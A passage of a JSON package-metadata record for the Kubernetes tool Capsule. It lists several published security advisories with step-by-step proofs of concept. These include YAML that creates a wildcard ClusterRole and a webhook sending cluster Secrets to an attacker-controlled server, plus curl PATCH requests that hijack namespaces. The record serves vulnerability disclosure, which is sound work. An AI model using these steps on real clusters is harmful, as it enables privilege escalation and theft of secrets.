t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  ↓\nCreates TenantResource containing cluster-scoped resources\n  ↓\nCapsule Controller (cluster-admin) processes RawItems\n  ↓\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  ↓\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  ↓\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob's Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-28T17:02:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P","references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72","https://github.com/projectcapsule/capsule/releases/tag/v0.13.0","https://nvd.nist.gov/vuln/detail/CVE-2026-22872","https://github.com/advisories/GHSA-qjjm-7j9w-pw72"],"source_kind":"github","identifiers":["GHSA-qjjm-7j9w-pw72","CVE-2026-22872"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-28T18:00:08.437Z","updated_at":"2026-06-29T05:00:40.534Z","epss_percentage":0.0043,"epss_percentile":0.3425,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xamptLTdqOXctcHc3Ms4ABXpL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xamptLTdqOXctcHc3Ms4ABXpL","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.13.0","vulnerable_version_range":"\u003c 0.13.0"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xamptLTdqOXctcHc3Ms4ABXpL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd3c2LWhmMzUtbWZqbc4ABXpK","url":"https://github.com/advisories/GHSA-2ww6-hf35-mfjm","title":"Capsule Namespace Hijacking via subresource","description":"### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-28T17:01:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L","references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm","https://github.com/projectcapsule/capsule/releases/tag/v0.13.0","https://nvd.nist.gov/vuln/detail/CVE-2026-30963","https://github.com/advisories/GHSA-2ww6-hf35-mfjm"],"source_kind":"github","identifiers":["GHSA-2ww6-hf35-mfjm","CVE-2026-30963"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-28T18:00:08.437Z","updated_at":"2026-06-29T05:00:40.534Z","epss_percentage":0.00202,"epss_percentile":0.10141,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3c2LWhmMzUtbWZqbc4ABXpK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd3c2LWhmMzUtbWZqbc4ABXpK","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.13.0","vulnerable_version_range":"\u003c 0.13.0"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3c2LWhmMzUtbWZqbc4ABXpK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY3BtLTZteHEtbTV2ds4ABLLn","url":"https://github.com/advisories/GHSA-fcpm-6mxq-m5vv","title":"Capsule tenant owners with \"patch namespace\" permission can hijack system namespaces label","description":"### Summary\nA namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.\n\n### Details\nThe vulnerability exists in the namespace validation webhook logic located in `pkg/webhook/namespace/validation/patch.go:60-77`. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:\n\n```go\nif label, ok := ns.Labels[ln]; ok {\n    // Only checks permissions when namespace has tenant label\n    if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {\n        response := admission.Denied(e)\n        return \u0026response\n    }\n}\n\nreturn nil  // Critical issue: allows operation if no tenant label exists\n```\n\n**Root Cause Analysis:**\n1. **Missing Default Protection**: System namespaces (kube-system, default, capsule-system) do not have the `capsule.clastix.io/tenant` label by default\n2. **Bypass Logic**: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant\n3. **Unrestricted Label Injection**: Authenticated users can inject arbitrary labels into unprotected namespaces\n\n**Attack Vector Path:**\n```\nLabel Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access\n```\n\nThis mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation:\n- **CVE-2024-39690**: `ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking`\n- **This vulnerability**: `Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access`\n\n### PoC\n**Prerequisites:**\n- Minikube cluster with Capsule v0.10.3 installed\n- Authenticated tenant user with basic RBAC permissions\n\n**Step 1: Environment Setup**\n```bash\n# Install Minikube and Capsule\nminikube start\nhelm repo add projectcapsule https://projectcapsule.github.io/charts\nhelm install capsule projectcapsule/capsule -n capsule-system --create-namespace\n\n# Create tenant and user\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n# Create user certificate and kubeconfig (using provided script)\n./create-user-minikube.sh alice tenant1\n```\n\n**Step 2: Label Injection Attack**\n```bash\n# Switch to attacker context\nexport KUBECONFIG=alice-tenant1.kubeconfig\n\n# Inject malicious labels into system namespaces\nkubectl patch namespace kube-system --type='json' -p='[\n  {\n    \"op\": \"add\",\n    \"path\": \"/metadata/labels/malicious-label\",\n    \"value\": \"attack-value\"\n  }\n]'\n\n# Verify injection success\nkubectl get namespace kube-system --show-labels\n```\n\n**Step 3: Exploitation via TenantResource**\n```bash\n# Create attacker-controlled namespace\nkubectl create namespace alice-attack\n\n# Create malicious TenantResource targeting injected labels\ncat \u003c\u003cEOF | kubectl apply -f -\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: malicious-resource\n  namespace: alice-attack\nspec:\n  resyncPeriod: 60s\n  resources:\n  - namespaceSelector:\n      matchLabels:\n        malicious-label: \"attack-value\"\nEOF\n\n# Verify cross-tenant access\nkubectl get tenantresource -n alice-attack malicious-resource -o yaml\n```\n\n**Step 4: Verification of Impact**\n```bash\n# Check if system namespace resources are now accessible\nexport KUBECONFIG=~/.kube/config\nkubectl get namespaces -l \"malicious-label=attack-value\"\n# Output shows: kube-system (and potentially other injected namespaces)\n\n# Check for potential resource replication/access\nkubectl get all -n kube-system\nkubectl get secrets -n kube-system\nkubectl get configmaps -n kube-system\n```\n\n**Automated Testing Script:**\nA complete vulnerability verification script is available that tests:\n- Label injection into multiple system namespaces\n- TenantResource exploitation\n- Cross-tenant resource access verification\n- Impact assessment and cleanup\n\n### Impact\n**Vulnerability Type:** Authorization Bypass / Privilege Escalation\n\n**Who is Impacted:**\n- **Multi-tenant Kubernetes clusters** using Capsule v0.10.3 and potentially earlier versions\n- **Organizations relying on Capsule** for tenant isolation and resource governance\n- **Cloud service providers** offering Kubernetes-as-a-Service with Capsule-based multi-tenancy\n\n**Security Impact:**\n1. **Multi-tenant Isolation Bypass**: Attackers can access resources from other tenants or system namespaces\n2. **Privilege Escalation**: Tenant users can gain access to cluster-wide resources and sensitive system components\n3. **Data Exfiltration**: Potential access to secrets, configmaps, and other sensitive data in system namespaces\n4. **Resource Quota Bypass**: Ability to consume resources outside assigned tenant boundaries\n5. **Policy Circumvention**: Bypass network policies, security policies, and other tenant-level restrictions\n\n**Real-world Exploitation Scenarios:**\n- Access to kube-system secrets containing cluster certificates and service account tokens\n- Modification or replication of critical system configurations\n- Cross-tenant data access in shared clusters\n- Potential cluster-wide compromise through system namespace access\n\n**Severity:** High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-08-18T21:00:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-fcpm-6mxq-m5vv","https://nvd.nist.gov/vuln/detail/CVE-2025-55205","https://github.com/projectcapsule/capsule/commit/e1f47feade6e1695b2204407607d07c3b3994f6e","https://pkg.go.dev/vuln/GO-2025-3893","https://github.com/advisories/GHSA-fcpm-6mxq-m5vv"],"source_kind":"github","identifiers":["GHSA-fcpm-6mxq-m5vv","CVE-2025-55205"],"repository_url":"https://github.com/projectcapsule/capsule","blast_radius":1.0,"created_at":"2025-08-18T22:09:17.063Z","updated_at":"2026-06-29T05:03:36.564Z","epss_percentage":0.00437,"epss_percentile":0.34756,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3BtLTZteHEtbTV2ds4ABLLn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY3BtLTZteHEtbTV2ds4ABLLn","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.10.4","vulnerable_version_range":"\u003c 0.10.4"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3BtLTZteHEtbTV2ds4ABLLn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-","url":"https://github.com/advisories/GHSA-mq69-4j5w-3qwp","title":"Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces","description":"# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA='[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]'\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec)\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-20T18:34:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp","https://nvd.nist.gov/vuln/detail/CVE-2024-39690","https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584","https://github.com/advisories/GHSA-mq69-4j5w-3qwp"],"source_kind":"github","identifiers":["GHSA-mq69-4j5w-3qwp","CVE-2024-39690"],"repository_url":"https://github.com/projectcapsule/capsule","blast_radius":1.0,"created_at":"2024-08-20T19:05:52.009Z","updated_at":"2026-06-29T05:03:37.908Z","epss_percentage":0.0051,"epss_percentile":0.39517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.7.1","vulnerable_version_range":"\u003c= 0.7.0"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcTY5LTRqNXctM3F3cM4AA-z-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NzU4LTk3OWgtMjQ5eM4AA2-V","url":"https://github.com/advisories/GHSA-6758-979h-249x","title":"capsule-proxy service discloses Namespaces of colliding tenants to owners of different tenants with the same ServiceAccount name","description":"### Summary\n\nA bug in the RoleBinding reflector used by `capsule-proxy` gives ServiceAccount tenant owners the right to list Namespaces of other tenants backed by the same owner kind and name.\n\n### Details\n\n- Tenant `solar`, owned by a ServiceAccount named `tenant-owner` in the Namespace `solar`\n- Tenant `wind`, owned by a ServiceAccount named `tenant-owner` in the Namespace `wind`\n\n\u003e Please, notice the same ServiceAccount name, although in different namespaces.\n\nThe Tenant owner `solar` would be able to list the namespaces of the Tenant `wind` and vice-versa, although this is not correct.\n\nThe bug introduces an exfiltration vulnerability since allows the listing of Namespace resources of other Tenants, although just in some specific conditions:\n\n1. `capsule-proxy` runs with the `--disable-caching=false` (default value: `false`)\n2. Tenant owners are ServiceAccount, with the same resource name, but in different Namespaces.\n\nThe CVE doesn't allow any privilege escalation on the outer tenant Namespace-scoped resources, since the Kubernetes RBAC is enforcing this.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-07T21:46:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-6758-979h-249x","https://nvd.nist.gov/vuln/detail/CVE-2023-46254","https://github.com/projectcapsule/capsule-proxy/commit/615202f7b02eaec7681336bd63daed1f39ae00c5","https://github.com/projectcapsule/capsule-proxy/releases/tag/v0.4.5","https://github.com/advisories/GHSA-6758-979h-249x"],"source_kind":"github","identifiers":["GHSA-6758-979h-249x","CVE-2023-46254"],"repository_url":"https://github.com/projectcapsule/capsule-proxy","blast_radius":1.0,"created_at":"2023-11-07T22:05:56.712Z","updated_at":"2026-06-29T05:07:35.660Z","epss_percentage":0.00415,"epss_percentile":0.3299,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NzU4LTk3OWgtMjQ5eM4AA2-V","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NzU4LTk3OWgtMjQ5eM4AA2-V","packages":[{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule-proxy","versions":[{"first_patched_version":"0.4.5","vulnerable_version_range":"\u003c= 0.4.4"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule-proxy"},{"ecosystem":"go","package_name":"github.com/projectcapsule/capsule","versions":[{"first_patched_version":"0.4.5","vulnerable_version_range":"\u003c= 0.4.4"}],"purl":"pkg:go/github.com%2Fprojectcapsule%2Fcapsule"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NzU4LTk3OWgtMjQ5eM4AA2-V/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/projectcapsule/capsule","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/projectcapsule/capsule","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/projectcapsule/capsule/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-12-13T19:02:04.924Z","issues_count":144,"pull_requests_count":835,"avg_time_to_close_issue":18546952.589743588,"avg_time_to_close_pull_request":846309.4190751445,"issues_closed_count":117,"pull_requests_closed_count":692,"pull_request_authors_count":39,"issue_authors_count":46,"avg_comments_per_issue":2.4166666666666665,"avg_comments_per_pull_request":1.3197604790419162,"merged_pull_requests_count":557,"bot_issues_count":5,"bot_pull_requests_count":644,"past_year_issues_count":36,"past_year_pull_requests_count":385,"past_year_avg_time_to_close_issue":2971551.5263157897,"past_year_avg_time_to_close_pull_request":867160.1538461539,"past_year_issues_closed_count":19,"past_year_pull_requests_closed_count":312,"past_year_pull_request_authors_count":20,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":1.25,"past_year_avg_comments_per_pull_request":1.3766233766233766,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":299,"past_year_merged_pull_requests_count":282,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/issues","maintainers":[{"login":"oliverbaehler","count":78,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/oliverbaehler"},{"login":"prometherion","count":75,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/prometherion"},{"login":"bsctl","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bsctl"},{"login":"Svarrogh1337","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Svarrogh1337"},{"login":"MaxFedotov","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MaxFedotov"},{"login":"maxgio92","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maxgio92"}],"active_maintainers":[{"login":"oliverbaehler","count":45,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/oliverbaehler"},{"login":"Svarrogh1337","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Svarrogh1337"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fprojectcapsule%2Fcapsule/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fprojectcapsule%2Fcapsule/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fprojectcapsule%2Fcapsule/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fprojectcapsule%2Fcapsule/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2